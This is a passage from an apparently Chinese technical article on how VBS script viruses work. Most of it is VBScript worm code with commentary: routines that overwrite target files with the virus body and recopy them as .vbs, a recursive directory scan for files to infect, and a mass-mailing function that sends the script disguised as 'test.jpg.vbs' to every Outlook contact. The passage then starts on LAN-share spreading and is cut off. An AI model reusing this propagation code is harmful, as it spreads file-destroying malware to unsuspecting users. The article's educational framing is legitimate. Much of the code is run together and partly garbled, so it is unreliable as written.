快速业务通道

VBS脚本病毒原理分析与防范

作者 佚名 来源 ASP编程 浏览 发布时间 2013-07-09
代码覆盖目标文件
ap.close
setcop=fso.getfile(目标文件.path)''得到目标文件路径
cop.copy(目标文件.path&".vbs")''创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true)''删除目标文件
上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。
下面我们具体分析一下文件搜索代码:
''该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
subscan(folder_)''scan函数定义,
onerrorresumenext''如果出现错误,直接跳过,防止弹出错误窗口
setfolder_=fso.getfolder(folder_)
setfiles=folder_.files''当前目录的所有文件集合
foreachfileinfilesext=fso.GetExtensionName(file)''获取文件后缀
ext=lcase(ext)''后缀名转换成小写字母
ifext="mp5"then''如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名,以免破坏正常程序。
Wscript.echo(file)
endif
next
setsubfolders=folder_.subfolders
foreachsubfolderinsubfolders''搜索其他目录;递归调用
scan()
scan(subfolder)
next
endsub
上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan()函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。

2.vbs脚本病毒通过网络传播的几种方式及代码分析
VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:
1)通过Email附件传播
这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
FunctionmailBroadcast()
onerrorresumenext
wscript.echo
SetoutlookApp=CreateObject("Outlook.Application")//创建一个OUTLOOK应用的对象
IfoutlookApp="Outlook"Then
SetmapiObj=outlookApp.GetNameSpace("MAPI")//获取MAPI的名字空间
SetaddrList=mapiObj.AddressLists//获取地址表的个数
ForEachaddrInaddrList
Ifaddr.AddressEntries.Count<>0Then
addrEntCount=addr.AddressEntries.Count//获取每个地址表的Email记录数
ForaddrEntIndex=1ToaddrEntCount//遍历地址表的Email地址
Setitem=outlookApp.CreateItem(0)//获取一个邮件对象实例
SetaddrEnt=addr.AddressEntries(addrEntIndex)//获取具体Email地址
item.To=addrEnt.Address//填入收信人地址item.Subject="病毒传播实验"//写入邮件标题
item.Body="这里是病毒邮件传播测试,收到此信请不要慌张!"//写入文件内容
SetattachMents=item.Attachments//定义邮件附件
attachMents.AddfileSysObj.GetSpecialFolder(0)&"\test.jpg.vbs"
item.DeleteAfterSubmit=True//信件提交后自动删除
Ifitem.To<>""Then
item.Send//发送邮件
shellObj.regwrite"HKCU\software\Mailtest\mailed","1"//病毒标记,以免重复感染
EndIf
Next
EndIf
Next
Endif
EndFunction

2)通过局域网共享传播
局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。
在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
welcome_msg="网络连接搜索测试"
SetWSHNe

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号